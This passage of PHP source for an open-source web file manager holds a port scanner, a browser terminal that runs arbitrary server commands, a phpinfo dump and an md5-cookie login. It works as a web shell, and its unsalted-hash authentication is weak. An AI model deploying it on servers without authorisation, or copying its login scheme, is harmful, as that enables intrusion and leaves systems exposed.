name=\"portscan_form\" action=\"".$fm_path_info['basename']."\" method=\"get\" target=\"portscanIframe\"> <input type=hidden name=action value=12> <input type=hidden name=portscan_action value=0> <tr><td valign=top width=1> <table border=0 cellspacing=0 cellpadding=5> <tr><td align=right width=1><nobr>Hosts:</nobr><td><input type=\"text\" style=\"width:430px; padding:5px 8px;\" name=\"portscan_ip_range\" value=\"".html_encode($portscan_ip_range)."\"></td></tr> <tr><td align=right width=1><nobr>Scan Ports:</nobr><td><input type=\"text\" style=\"width:430px; padding:5px 8px;\" name=\"portscan_port_range\" value=\"".html_encode($portscan_port_range)."\"></td></tr> <tr><td> </td><td> <div class=\"portscan_ignore_ping\"><input type=\"checkbox\" name=\"portscan_ignore_ping\" id=\"portscan_ignore_ping\" value=\"1\"".($portscan_ignore_ping?' checked':'')." onclick=\"set_ping_cookie()\"><label for=\"portscan_ignore_ping\" class=\"noselect\"> Ignore Ping</label></div> <button type=\"button\" class=\"btn\" onclick=\"execute_portscan()\" value=\"".et('Exec')."\"><i class=\"fa fa-refresh\"></i> ".et('Exec')."</button> <button type=\"button\" class=\"btn\" onclick=\"stop_portscan()\" value=\"".et('Stop')."\"><i class=\"fa fa-delete\"></i> ".et('Stop')."</button> </td></tr> </table> </td><td valign=top> <table border=0 cellspacing=0 cellpadding=5> <tr><td align=right width=1><nobr>Your IP:</nobr><td><input type=\"text\" name=\"your_ip\" value=\"".$ip."\" style=\"width:150px; background-color:#ccc; padding:5px 8px;\" readonly></td></tr>"; if (strlen($lan_ip)) echo "<tr><td align=right width=1><nobr>Server Lan IP:</nobr><td><input type=\"text\" name=\"your_ip\" value=\"".$lan_ip."\" style=\"width:150px; background-color:#ccc; padding:5px 8px;\" readonly></td></tr>"; echo " </form> </table> </td></tr> </form> </table> </div> <iframe id=\"portscanIframe\" name=\"portscanIframe\" src=\"\" scrolling=\"yes\" frameborder=\"0\"></iframe> "; $ports_reference = array(); foreach ($services as $port => $service){ $ports_reference[] = "$port = $service"; } echo " <script language=\"Javascript\" type=\"text/javascript\"> <!-- var iframe_text = ''; var portscan_ips, portscan_ports; var portscan_curr_ip, portscan_curr_port; var all_ports_one_request = false; var portscan_ignore_ping = ".($portscan_ignore_ping?'true':'false')."; var portscan_execute_flag = false; var all_service_ports = ".json_encode(array_keys($services))."; var portscan_ports_failed = 0; function get_boxed_text(str){ str = String(str); var br = '<br>'; var arr = str.split(br); var max_str_length = 0; for(var i=0;i<arr.length;i++){ line_strip_tags = String(arr[i]).replace(/<\/?[^>]+(>|$)/g, \"\"); if (line_strip_tags.length > max_str_length) max_str_length = line_strip_tags.length; } var out = ''; out += '<nobr>┌'+rep('─',max_str_length+2)+'┐<nobr>'+br; for(var i=0;i<arr.length;i++){ line_strip_tags = String(arr[i]).replace(/<\/?[^>]+(>|$)/g, \"\"); out += '<nobr>│ '+arr[i]+rep(' ',(max_str_length-line_strip_tags.length))+' │<nobr>'; if (i<arr.length) out += br; } out += '<nobr>└'+rep('─',max_str_length+2)+'┘<nobr>'+br; return out; } function write_to_iframe(str){ iframe_text += str; var iframe_body = document.getElementById('portscanIframe').contentWindow.document; iframe_body.open(); iframe_body.write('<style>body { margin:5px; background-color:#000; color:#fff; } </style><div style=\"width:100%; height:100%; font-family:Courier New; font-size:10pt; font-weight:normal; color:#aaa;\">'+iframe_text+'</div>'); iframe_body.close(); } function iframe_scroll_down(){ var iframe_window = document.getElementById('portscanIframe').contentWindow; iframe_window.scrollTo( 0, 999999 ); } write_to_iframe(get_boxed_text('PHP File Manager - Portscan<br><br><b>Hosts examples:</b><br>Single: phpfm.sf.net<br>Single: 192.168.0.1<br>Range: 192.168.0.1-254<br>Multiple: phpfm.sf.net,192.168.0.1,192.168.0.2')); write_to_iframe(get_boxed_text('<b>Ports reference:</b><br>* = ALL<br>".implode('<br>',$ports_reference)."')); function stop_portscan(){ portscan_execute_flag = false; } function set_ping_cookie(){ portscan_ignore_ping = $('#portscan_ignore_ping').prop('checked'); var value = portscan_ignore_ping?1:0; setCookiePersistent('portscan_ignore_ping',value); } function execute_portscan(){ iframe_text = ''; portscan_ip_range = String(document.portscan_form.portscan_ip_range.value).trim(); portscan_port_range = String(document.portscan_form.portscan_port_range.value).trim(); setCookie('portscan_ip_range',portscan_ip_range); setCookie('portscan_port_range',portscan_port_range); var portscan_command_str = ''; portscan_command_str += 'PHP File Manager - Portscan<br><br>'; portscan_command_str += 'Hosts: '+portscan_ip_range+'<br>'; portscan_command_str += 'Scan Ports: '+portscan_port_range+'<br>'; portscan_command_str += 'Ignore Ping: '+(portscan_ignore_ping?'Yes':'No'); portscan_ips = []; portscan_ports = []; if (portscan_port_range.length > 0) { if (portscan_port_range == '*') portscan_ports = all_service_ports; else portscan_ports = portscan_port_range.split(','); } if (portscan_ip_range.length > 0) { if (portscan_ip_range.indexOf('-') != -1){ portscan_ip_range = portscan_ip_range.split('-'); portscan_inet = portscan_ip_range[0].substr(0,portscan_ip_range[0].lastIndexOf('.')+1); portscan_start = parseInt(portscan_ip_range[0].substr(portscan_ip_range[0].lastIndexOf('.')+1)); portscan_end = parseInt(portscan_ip_range[1]); for(var i=portscan_start;i<=portscan_end;i++){ portscan_ips.push(portscan_inet+i); } } else if (portscan_ip_range.indexOf(',') != -1){ portscan_ips = portscan_ip_range.split(','); } else { portscan_ips.push(portscan_ip_range); } } write_to_iframe(get_boxed_text(portscan_command_str)); portscan_curr_ip = 0; portscan_execute_flag = true; do_ping(); } function do_ping(){ if (portscan_execute_flag) { if (portscan_curr_ip<portscan_ips.length){ ip = portscan_ips[portscan_curr_ip]; write_to_iframe('│ Ping: '+ip+' = '); iframe_scroll_down(); $.ajax({ type: 'POST', url: '".$fm_path_info['basename']."', dataType: 'json', crossDomain: false, data: { action : 12, portscan_action: 2, portscan_ip : ip }, success: function (data){ if (data[0]) { write_to_iframe('<font color=\"green\">'+data[1]+'</font><br>'); } else { write_to_iframe('<font color=\"brown\">'+data[1]+'</font><br>'); } iframe_scroll_down(); if ((data[0] || portscan_ignore_ping) && portscan_ports.length > 0) { portscan_curr_port = 0; portscan_ports_failed = 0 do_scan(); } else { portscan_curr_ip++; do_ping(); } }, error: function (err){ write_to_iframe('<font color=\"#777\">Server error</font><br>'); } }) } else { write_to_iframe(get_boxed_text('Portscan finished')); iframe_scroll_down(); } } else { write_to_iframe(get_boxed_text('Portscan stopped')); iframe_scroll_down(); } } function do_scan(){ ip = portscan_ips[portscan_curr_ip]; if (all_ports_one_request){ $.get( '".$fm_path_info['basename']."', { action : 12, portscan_action: 4, portscan_ip : ip, portscan_ports : portscan_ports.join(',') }, function (data){ data = String(data).trim(); if (data.length > 0) { write_to_iframe(data); iframe_scroll_down(); } portscan_curr_ip++; do_ping(); } ) } else { if (portscan_curr_port<portscan_ports.length && portscan_execute_flag){ port = portscan_ports[portscan_curr_port]; iframe_scroll_down(); $.ajax({ type: 'POST', url: '".$fm_path_info['basename']."', dataType: 'json', crossDomain: false, data: { action : 12, portscan_action: 3, portscan_ip : ip, portscan_port : port }, success: function (data){ if (data[0]) { if (portscan_ports_failed > 0) write_to_iframe('<br>'); write_to_iframe(data[1]); iframe_scroll_down(); portscan_ports_failed = 0; } else { if (portscan_ports_failed == 0) write_to_iframe('│ '); write_to_iframe('<font color=\"brown\">.</font>'); portscan_ports_failed++; } portscan_curr_port++; do_scan(); }, error: function (err){ write_to_iframe('<font color=\"brown\">.</font>'); portscan_ports_failed++; portscan_curr_port++; do_scan(); } }) } else { if (portscan_ports_failed > 0) write_to_iframe('<br>'); portscan_curr_ip++; do_ping(); } } } //--> </script> "; echo "</body>\n</html>"; } // +-------------------------------------------------- // | Shell Form Functions // +-------------------------------------------------- function error_handler($err, $message, $file, $line) { global $stop; $stop = true; $content = explode("\n", file_get_contents($file)); header('Content-Type: application/json'); $id = extract_id(); // don't need to parse ob_end_clean(); echo response(null, $id, array( "code" => 100, "message" => "Server error", "error" => array( "name" => "PHPError", "code" => $err, "message" => $message, "file" => $file, "at" => $line, "line" => $content[$line-1])) ); exit(); } class JsonRpcExeption extends Exception { function __construct($code, $message) { $this->code = $code; Exception::__construct($message); } function code() { return $this->code; } } function json_error() { switch (json_last_error()) { case JSON_ERROR_NONE: return 'No error has occurred'; case JSON_ERROR_DEPTH: return 'The maximum stack depth has been exceeded'; case JSON_ERROR_CTRL_CHAR: return 'Control character error, possibly incorrectly encoded'; case JSON_ERROR_SYNTAX: return 'Syntax error'; case JSON_ERROR_UTF8: return 'Malformed UTF-8 characters, possibly incorrectly encoded'; } } function get_raw_post_data() { if (isset($GLOBALS['HTTP_RAW_POST_DATA'])) { return $GLOBALS['HTTP_RAW_POST_DATA']; } else { return file_get_contents('php://input'); } } function has_field($object, $field) { return array_key_exists($field, get_object_vars($object)); } function get_field($object, $field, $default) { $array = get_object_vars($object); if (isset($array[$field])) { return $array[$field]; } else { return $default; } } function extract_id() { $regex = '/[\'"]id[\'"] *: *([0-9]*)/'; $raw_data = get_raw_post_data(); if (preg_match($regex, $raw_data, $m)) { return $m[1]; } else { return null; } } function currentURL() { $pageURL = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") { $pageURL .= "s"; } $pageURL .= "://"; if ($_SERVER['SERVER_PORT'] != "80") { $pageURL .= $_SERVER['SERVER_NAME'].":".$_SERVER['SERVER_PORT'].$_SERVER['REQUEST_URI']; } else { $pageURL .= $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; } return $pageURL; } function service_description($object) { $class_name = get_class($object); $methods = get_class_methods($class_name); $service = array("sdversion" => "1.0", "name" => "ShellService", "address" => currentURL(), "id" => "urn:md5:" . md5(currentURL())); $static = get_class_vars($class_name); foreach ($methods as $method_name) { $proc = array("name" => $method_name); $method = new ReflectionMethod($class_name, $method_name); $params = array(); foreach ($method->getParameters() as $param) { $params[] = $param->name; } $proc['params'] = $params; $help_str_name = $method_name . "_documentation"; if (array_key_exists($help_str_name, $static)) { $proc['help'] = $static[$help_str_name]; } $service['procs'][] = $proc; } return $service; } function get_json_request() { $request = get_raw_post_data(); if ($request == "") { throw new JsonRpcExeption(101, "Parse Error: no data"); } $encoding = mb_detect_encoding($request, 'auto'); //convert to unicode if ($encoding != 'UTF-8') { $request = iconv($encoding, 'UTF-8', $request); } $request = json_decode($request); if ($request == NULL) { // parse error $error = json_error(); throw new JsonRpcExeption(101, "Parse Error: $error"); } return $request; } function get_absolute_path($path) { global $is_windows; $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } $path = ''; if (count($absolutes)) $path = implode(DIRECTORY_SEPARATOR, $absolutes).DIRECTORY_SEPARATOR; if (!$is_windows) $path = DIRECTORY_SEPARATOR.$path; return $path; } function cmd_proc_open_exec($cmd, &$stdout, &$stderr) { $tmp_dir = ini_get('session.save_path') ? ini_get('session.save_path') : sys_get_temp_dir(); $outfile = tempnam($tmp_dir,"cmd"); $errfile = tempnam($tmp_dir,"cmd"); $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("file", $outfile, "w"), 2 => array("file", $errfile, "w") ); $proc = proc_open($cmd, $descriptorspec, $pipes); if (!is_resource($proc)) return 255; fclose($pipes[0]); //Don't really want to give any input $exit = proc_close($proc); $stdout = file_get_contents($outfile); $stderr = file_get_contents($errfile); @unlink($outfile); @unlink($errfile); return $exit; } function cmd_popen_exec($cmd, &$output){ if ($handle = popen($cmd,"r")){ while (!feof($handle)) { $output .= fgets($handle, 4096); } pclose($handle); return true; } return false; } if($is_windows && !function_exists('pcntl_exec') && class_exists('COM')){ function pcntl_exec($path, $args=array()){ if(is_string($args)) $args = array($args); if(count($args)) $path = '"'.$path.'"'; $shell = new COM('WScript.Shell'); if ($shell->run($path.(count($args) ? ' '.implode(' ',$args) : ''),0,true)) return NULL; else return false; } } function cmd_pcntl_exec($cmd, $args=array()){ // Does not provide output, could throw it to a file! if(is_string($args)) $args = array($args); $envs = array(); if (pcntl_exec($cmd, $args, $envs) === NULL) return true; return false; } function system_exec_cmd($cmd, &$output){ fb_log('system_exec_cmd: '.$cmd); $exec_ok = false; if (strlen($cmd)) { if (function_exists('proc_open')) { $stdout = $stderr = ''; $exitCode = cmd_proc_open_exec($cmd, $stdout, $stderr); $exec_ok = (intval($exitCode) == 0); // 0 = success $output = trim($stdout); if (strlen($stderr)) { if (strlen($output)) $output .= "\n"; $output .= trim($stderr); } } else { if (strpos($cmd,'2>&1') === false) { $cmd .= ' 2>&1'; } if (function_exists('exec')) { $outputArr = array(); $exitCode = 1; @exec($cmd, $outputArr, $exitCode); $exec_ok = (intval($exitCode) == 0); // 0 = success $output = trim(implode("\n",$outputArr)); } elseif (function_exists('shell_exec')) { // The backtick operator is disabled when safe mode is enabled or shell_exec() is disabled. $output = @shell_exec($cmd); if ($output === NULL){ $output = ''; $exec_ok = false; } else { $exec_ok = true; } } elseif (function_exists('system')) { @ob_clean(); $last_output_line = @system($cmd,$exitCode); $output = @ob_get_contents(); @ob_clean(); $exec_ok = ($last_output_line !== false); $exec_ok = (intval($exitCode) == 0); // 0 = success } elseif (function_exists('passthru')) { @ob_clean(); @passthru($cmd, $exitCode); $output = @ob_get_contents(); @ob_clean(); $exec_ok = (intval($exitCode) == 0); // 0 = success } elseif (function_exists('popen')) { $exec_ok = cmd_popen_exec($cmd, $output); } else { $output = "Error: PHP system exec functions are disabled."; } } } $output = trim($output); return $exec_ok; } function handle_json_rpc() { global $fm_current_dir,$cmd_line,$is_windows; @set_error_handler('error_handler'); try { $input = get_json_request(); header('Content-Type: application/json'); $method = get_field($input, 'method', null); $params = get_field($input, 'params', null); $id = get_field($input, 'id', null); // json rpc error if (!($method && $id)) { if (!$id) { $id = extract_id(); } if (!$method) { $error = "no method"; } else if (!$id) { $error = "no id"; } else { $error = "unknown reason"; } throw new JsonRpcExeption(103,"Invalid Request: $error"); //": " . $GLOBALS['HTTP_RAW_POST_DATA'])); } // fix params (if params is null set it to empty array) if (!$params) { $params = array(); } // if params is object change it to array if (is_object($params)) { if (count(get_object_vars($params)) == 0) { $params = array(); } else { $params = get_object_vars($params); } } $fm_current_dir = get_absolute_path($fm_current_dir); $cmd_line = ''; if ($is_windows) { $cmd_line .= "cd /D ".$fm_current_dir." && "; } else { $cmd_line .= "cd ".$fm_current_dir." && "; } $cmd_line .= $method." ".implode(" ", $params); if ($is_windows && strlen($method) == 2 && count($params) == 0){ $drive = uppercase($method[0]); if (strpos($method,':') === 1 && strpos("ABCDEFGHIJKLMNOPQRSTUVWXYZ",$drive) !== false){ $fm_current_dir = get_absolute_path($drive.':'); $cmd_line = ''; } } elseif (lowercase($method) == 'cd' && count($params) > 0){ $arg = implode(' ',$params); if (strlen($arg)){ if ($is_windows){ $drive = uppercase($arg[0]); if (strpos($arg,':') === 1 && strpos("ABCDEFGHIJKLMNOPQRSTUVWXYZ",$drive) !== false){ $fm_current_dir = get_absolute_path($drive.':'.DIRECTORY_SEPARATOR.substr($arg,2)); } else { $fm_current_dir = get_absolute_path($fm_current_dir.DIRECTORY_SEPARATOR.$arg); } } else { if (strpos($arg,'/') === 0){ $fm_current_dir = $arg; } else { $fm_current_dir = get_absolute_path($fm_current_dir.DIRECTORY_SEPARATOR.$arg); } } $cmd_line = ''; } } $output = ''; $exec_ok = system_exec_cmd($cmd_line, $output); echo response($output, $id, null); } catch (JsonRpcExeption $e) { // exteption with error code $msg = $e->getMessage(); $code = $e->code(); if ($code = 101) { // parse error; $id = extract_id(); } echo response(null, $id, array("name"=>"JSONRPCError", "code"=>$code, "message"=>$msg)); } catch (Exception $e) { //catch all exeption from user code $msg = $e->getMessage(); echo response(null, $id, array("name"=>"JSONRPCError", "code"=>200, "message"=>$msg)); } } function response($result, $id, $error) { global $fm_current_dir,$cmd_line,$is_windows; // Se o path não é raiz no linux ou raiz de drive no windows, remove o ultimo separador da direita if ($is_windows){ if (strlen($fm_current_dir) > 3){ $fm_current_dir = rtrim($fm_current_dir,DIRECTORY_SEPARATOR); } } elseif (strlen($fm_current_dir) > 1) { $fm_current_dir = rtrim($fm_current_dir,DIRECTORY_SEPARATOR); } return json_encode(array('cmd_line' => $cmd_line, 'fm_current_dir' => $fm_current_dir, 'result' => $result, 'jsonrpc' => '2.0', 'id' => $id, 'error'=> $error)); } function shell_form(){ global $fm_current_dir,$shell_form,$cmd_arg,$fm_path_info,$is_windows; switch ($shell_form){ case 1: handle_json_rpc(); exit(); break; default: html_header(" <script type=\"text/javascript\" src=\"".$fm_path_info['basename']."?action=99&filename=jquery-1.11.1.min.js\"></script> <script type=\"text/javascript\" src=\"".$fm_path_info['basename']."?action=99&filename=jquery.terminal.min.js\"></script> <link rel=\"stylesheet\" type=\"text/css\" href=\"".$fm_path_info['basename']."?action=99&filename=jquery.terminal.min.css\" media=\"screen\" /> "); is_rwx_phpfm(__FILE__); // Init $GLOBALS['script_info'] $username = $GLOBALS['script_info']['script_user_name']; $groupname = $GLOBALS['script_info']['script_group_name']; $hostname = $GLOBALS['script_info']['sys_hostname']; $ugh = ''; if (strlen($username)) $ugh .= $username; if (strlen($groupname)) $ugh .= ':'.$groupname; if (strlen($hostname)) $ugh .= '@'.$hostname; $prompt_start = '['; if ($username == 'root') $prompt_end .= ']# '; else $prompt_end .= ']$ '; $greetings = array(); $greetings[] = 'PHP File Manager - Shell Terminal Emulator'; $greetings[] = ''; if (strlen($username)) $greetings[] = 'User: '.$username; if (strlen($groupname)) $greetings[] = 'Group: '.$groupname; if (strlen($hostname)) $greetings[] = 'Host: '.$hostname; $exec_functions = array('proc_open','exec','shell_exec','system','passthru','popen'); $is_exec_disabled = true; foreach ($exec_functions as $f) { if (function_exists($f)) { $is_exec_disabled = false; break; } } if ($is_exec_disabled) { $greetings[] = ''; $greetings[] = 'Warning: All PHP system exec functions are disabled.'; $greetings[] = implode('(),',$exec_functions).'()'; } $shell_current_dir = $fm_current_dir; if (strlen($_COOKIE['shell_current_dir'])) $shell_current_dir = $_COOKIE['shell_current_dir']; ?> <body marginwidth="0" marginheight="0"> <style> .cmd, .cmd div, .cmd span, .terminal, .terminal span, .terminal-output span { font-family: Courier New !important; font-size: 10pt !important; } </style> <script> function get_boxed_text(str){ str = String(str); var br = String.fromCharCode(10); var arr = str.split(br); var max_str_length = 0; for(var i=0;i<arr.length;i++){ arr[i] = String(arr[i]); if (arr[i].length > max_str_length) max_str_length = arr[i].length; } var out = ''; out += '┌'+rep('─',max_str_length+2)+'┐'+br; for(var i=0;i<arr.length;i++){ out += '│ '+arr[i]+rep(' ',(max_str_length-arr[i].length))+' │'; if (i<arr.length) out += br; } out += '└'+rep('─',max_str_length+2)+'┘'+br; return out; } var shell_current_dir = '<?php echo addslashes(rtrim($shell_current_dir,DIRECTORY_SEPARATOR)); ?>'; jQuery(document).ready(function($) { $('body').terminal( function(command, term) { if (command){ term.pause(); var params = String(command).split(' '); var method = params.shift(); var timestamp = new Date().getTime(); $.ajax({ type: 'POST', url: '<?php echo $fm_path_info['basename']; ?>?action=9&shell_form=1&fm_current_dir='+shell_current_dir, dataType: 'json', crossDomain: false, data: JSON.stringify( { jsonrpc: '2.0', method: method, params: params, id: timestamp } ), success: function (data){ if (data.error !== null){ if (data.error.code == 100) term.echo(data.error.error.name+': '+data.error.error.message).resume(); // Server Error else term.echo(data.error.name+': '+data.error.message).resume(); } else { shell_current_dir = data.fm_current_dir; setCookie('shell_current_dir',shell_current_dir); term.echo(data.result).resume(); } }, error: function (err){ term.echo(err).resume(); } }); } }, { greetings: get_boxed_text('<?php echo implode('\n',$greetings)?>'), prompt: function(callback) { //console.log(shell_current_dir); callback('<?php echo $prompt_start; ?>'+shell_current_dir+'<?php echo $prompt_end; ?>'); }, name: 'shell', tabcompletion: true, login: false, exit: false, history: true, convertLinks: false, completion: function(terminal, command, callback) { callback(['Sorry, no tab completion...']); }, onBlur: function() { // the height of the body is only 2 lines initialy return false; } } ); }); </script> <?php echo "</body>\n</html>"; break; } } function server_info_form(){ if (!@phpinfo()) echo et('NoPhpinfo')."..."; echo "<br><br>"; $a=ini_get_all(); $output="<table border=1 cellspacing=0 cellpadding=4 align=center>"; $output.="<tr><th colspan=2>ini_get_all()</td></tr>"; foreach($a as $key => $value) { $k = key($a[$key]); $v = current($a[$key]); $output.="<tr><td align=right>$key</td><td>$v</td></tr>"; } $output.="</table>"; echo $output; echo "<br><br>"; $output="<table border=1 cellspacing=0 cellpadding=4 align=center>"; $output.="<tr><th colspan=2>\$_SERVER</td></tr>"; foreach ($_SERVER as $k=>$v) { $output.="<tr><td align=right>$k</td><td>$v</td></tr>"; } $output.="</table>"; echo $output; echo "<br><br>"; echo "<table border=1 cellspacing=0 cellpadding=4 align=center>"; $safe_mode=trim(ini_get("safe_mode")); if ((strlen($safe_mode)==0)||($safe_mode==0)) $safe_mode=false; else $safe_mode=true; $is_windows = (uppercase(substr(PHP_OS, 0, 3)) === 'WIN'); echo "<tr><td colspan=2>".php_uname(); echo "<tr><td>safe_mode<td>".($safe_mode?"on":"off"); if ($is_windows) echo "<tr><td>sisop<td>Windows<br>"; else echo "<tr><td>sisop<td>Linux<br>"; echo "</table><br><br><table border=1 cellspacing=0 cellpadding=4 align=center>"; $display_errors=ini_get("display_errors"); $ignore_user_abort = ignore_user_abort(); $max_execution_time = ini_get("max_execution_time"); $upload_max_filesize = ini_get("upload_max_filesize"); $memory_limit=ini_get("memory_limit"); $output_buffering=ini_get("output_buffering"); $default_socket_timeout=ini_get("default_socket_timeout"); $allow_url_fopen = ini_get("allow_url_fopen"); $magic_quotes_gpc = ini_get("magic_quotes_gpc"); ignore_user_abort(true); ini_set("display_errors",0); ini_set("max_execution_time",0); ini_set("upload_max_filesize","10M"); ini_set("memory_limit","20M"); ini_set("output_buffering",0); ini_set("default_socket_timeout",30); ini_set("allow_url_fopen",1); ini_set("magic_quotes_gpc",0); echo "<tr><td colspan=4 align=center>Server Config Overwrite Test"; echo "<tr><td> <td>Get<td>Set<td>Get"; echo "<tr><td>display_errors<td>$display_errors<td>0<td>".ini_get("display_errors"); echo "<tr><td>ignore_user_abort<td>".($ignore_user_abort?"on":"off")."<td>on<td>".(ignore_user_abort()?"on":"off"); echo "<tr><td>max_execution_time<td>$max_execution_time<td>0<td>".ini_get("max_execution_time"); echo "<tr><td>upload_max_filesize<td>$upload_max_filesize<td>10M<td>".ini_get("upload_max_filesize"); echo "<tr><td>memory_limit<td>$memory_limit<td>20M<td>".ini_get("memory_limit"); echo "<tr><td>output_buffering<td>$output_buffering<td>0<td>".ini_get("output_buffering"); echo "<tr><td>default_socket_timeout<td>$default_socket_timeout<td>30<td>".ini_get("default_socket_timeout"); echo "<tr><td>allow_url_fopen<td>$allow_url_fopen<td>1<td>".ini_get("allow_url_fopen"); echo "<tr><td>magic_quotes_gpc<td>$magic_quotes_gpc<td>0<td>".ini_get("magic_quotes_gpc"); echo "</table><br><br>"; echo "</body>\n</html>"; } // +-------------------------------------------------- // | Session // +-------------------------------------------------- function logout(){ global $fm_path_info; setcookie("loggedon",0,0,"/"); echo " <script language=\"Javascript\" type=\"text/javascript\"> <!-- window.parent.document.location.href='".$fm_path_info['basename']."'; //--> </script>"; } function login(){ global $pass,$auth_pass,$fm_path_info; if (md5(trim($pass)) == $auth_pass){ setcookie("loggedon",$auth_pass,0,"/"); header ("Location: ".$fm_path_info['basename']); return true; } else header ("Location: ".$fm_path_info['basename']."?erro=1"); return false; } function login_form(){ global $erro,$auth_pass,$loggedon,$fm_path_info,$noscript,$version; html_header(); echo " <body>"; if ($noscript && ($auth_pass == md5('') || $loggedon==$auth_pass)) { echo " <table border=0 cellspacing=0 cellpadding=5> <tr><td><font size=4>".et('FileMan')."</font></td></tr> <tr><td align=left><font color=red size=3>Error: No Javascript support...</font></td></tr> </table> <script language=\"Javascript\" type=\"text/javascript\"> <!-- window.parent.document.location.href='".$fm_path_info['basename']."'; //--> </script>"; } else { echo " <form class=\"form-signin noScriptHidden mt-4\" name=\"login_form\" action=\"" . $fm_path_info['basename'] . "\" method=\"post\"> <h2 class=\"form-signin-heading text-center\">".et('FileMan')."</h2> <input type=\"password\" class=\"form-control\" name=\"pass\" placeholder=\"".et('Pass')."\" required=\"\"/> <button type=\"submit\" class=\"btn noIcon\" style=\"float:right\" value=\"".et('Login')."\">".et('Login')."</button> <div style=\"clear:both\"></div>"; if (strlen($erro)) echo " <div class=\"alert alert-danger\" style=\"margin-top: 10px;\">".et('InvPass')."</div>"; echo " </form> <script language=\"Javascript\" type=\"text/javascript\"> <!-- document.login_form.pass.focus(); //--> </script>"; echo " <noscript> <style> .noScriptHidden { display:none } </style> <table border=0 cellspacing=0 cellpadding=5> <tr><td><font size=4>".et('FileMan')."</font></td></tr> <tr><td align=left><font color=red size=3>Error: No Javascript support...</font></td></tr> </table> </noscript>"; } echo " </body> </html>"; } function frame3(){ global $is_windows,$cmd_arg,$chmod_arg,$zip_dir,$fm_current_root,$cookie_cache_time; global $dir_dest,$fm_current_dir,$dir_before; global $selected_file_list,$selected_dir_list,$old_name,$new_name; global $action,$or_by,$order_dir_list_by; global $about_form_was_shown; // ZIP download if ($action == '73') { ignore_user_abort(true); ini_set("display_errors",0); ini_set("max_execution_time",0); $filename = trim(str_replace(DIRECTORY_SEPARATOR,'-',$fm_current_dir),'-'); $filename = str_replace(':','-',$filename); $filename = replace_double('-',$filename); $filename = trim($filename,'-').'-'.date('Y.m.d-H\hi').'.zip'; $file = new zip_file($filename); if ($file){ $file->set_options(array('basedir'=>$fm_current_dir,'overwrite'=>1,'level'=>3,'inmemory'=>1)); if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x<count($selected_file_list);$x++) { $selected_file_list[$x] = trim($selected_file_list[$x]); if (strlen($selected_file_list[$x])) $file->add_files($selected_file_list[$x]); } } } if (strlen($selected_dir_list)){ $selected_dir_list = explode("<|*|>",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x<count($selected_dir_list);$x++) { $selected_dir_list[$x] = trim($selected_dir_list[$x]); if (strlen($selected_dir_list[$x])) $file->add_files($selected_dir_list[$x]); } } } $file->create_archive(); $file->download_file(); exit(); } } $about_form_was_shown = intval($about_form_was_shown); if (!$about_form_was_shown){ setcookie("about_form_was_shown", '1' , time()+$cookie_cache_time , "/"); } if (!isset($order_dir_list_by)){ $order_dir_list_by = "1A"; setcookie("order_dir_list_by", $order_dir_list_by , time()+$cookie_cache_time , "/"); } elseif (strlen($or_by)){ $order_dir_list_by = $or_by; setcookie("order_dir_list_by", $or_by , time()+$cookie_cache_time , "/"); } setcookie("fm_current_dir", $fm_current_dir, 0 , "/"); html_header(" <script type=\"text/javascript\" src=\"".$fm_path_info['basename']."?action=99&filename=jquery-1.11.1.min.js\"></script> "); echo "<body>\n"; $GLOBALS['dir_list_warn_message'] = ''; if ($action){ switch ($action){ case 1: // create dir $cmd_arg = fix_filename($cmd_arg); if (strlen($cmd_arg)){ $cmd_arg = $fm_current_dir.$cmd_arg; if (!file_exists($cmd_arg)){ @mkdir(fs_encode($cmd_arg),0755,true); @chmod(fs_encode($cmd_arg),0755); reloadframe("parent",2,"&ec_dir=".$cmd_arg); } else alert(et('FileDirExists')."."); } break; case 2: // create arq $cmd_arg = fix_filename($cmd_arg); if (strlen($cmd_arg)){ $cmd_arg = $fm_current_dir.$cmd_arg; if (!file_exists($cmd_arg)){ @touch($cmd_arg); @chmod($cmd_arg,0644); } else alert(et('FileDirExists')."."); } break; case 3: // rename arq ou dir if ((strlen($old_name))&&(strlen($new_name))){ rename($fm_current_dir.$old_name,$fm_current_dir.$new_name); if (is_dir($fm_current_dir.$new_name) || is_link($fm_current_dir.$new_name)) reloadframe("parent",2); } break; case 4: // delete sel if(strstr($fm_current_dir,$fm_current_root)){ if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x<count($selected_file_list);$x++) { $selected_file_list[$x] = trim($selected_file_list[$x]); if (strlen($selected_file_list[$x])) total_delete($fm_current_dir.$selected_file_list[$x]); } } } if (strlen($selected_dir_list)){ $selected_dir_list = explode("<|*|>",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x<count($selected_dir_list);$x++) { $selected_dir_list[$x] = trim($selected_dir_list[$x]); if (strlen($selected_dir_list[$x])) total_delete($fm_current_dir.$selected_dir_list[$x]); } reloadframe("parent",2); } } } break; case 5: // copy sel if (strlen($dir_dest)){ if(uppercase($dir_dest) != uppercase($fm_current_dir)){ if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x<count($selected_file_list);$x++) { $selected_file_list[$x] = trim($selected_file_list[$x]); if (strlen($selected_file_list[$x])) total_copy($fm_current_dir.$selected_file_list[$x],$dir_dest.$selected_file_list[$x]); } } } if (strlen($selected_dir_list)){ $selected_dir_list = explode("<|*|>",$selected_dir_list); if (count($selected_dir_list)) { for($x=0;$x<count($selected_dir_list);$x++) { $selected_dir_list[$x] = trim($selected_dir_list[$x]); if (strlen($selected_dir_list[$x])) total_copy($fm_current_dir.$selected_dir_list[$x],$dir_dest.$selected_dir_list[$x]); } reloadframe("parent",2); } } $fm_current_dir = $dir_dest; } } break; case 6: // move sel if (strlen($dir_dest)){ if(uppercase($dir_dest) != uppercase($fm_current_dir)){ if (strlen($selected_file_list)){ $selected_file_list = explode("<|*|>",$selected_file_list); if (count($selected_file_list)) { for($x=0;$x<count($selected_file_list);$x++) { $selected_file_list[$x] = 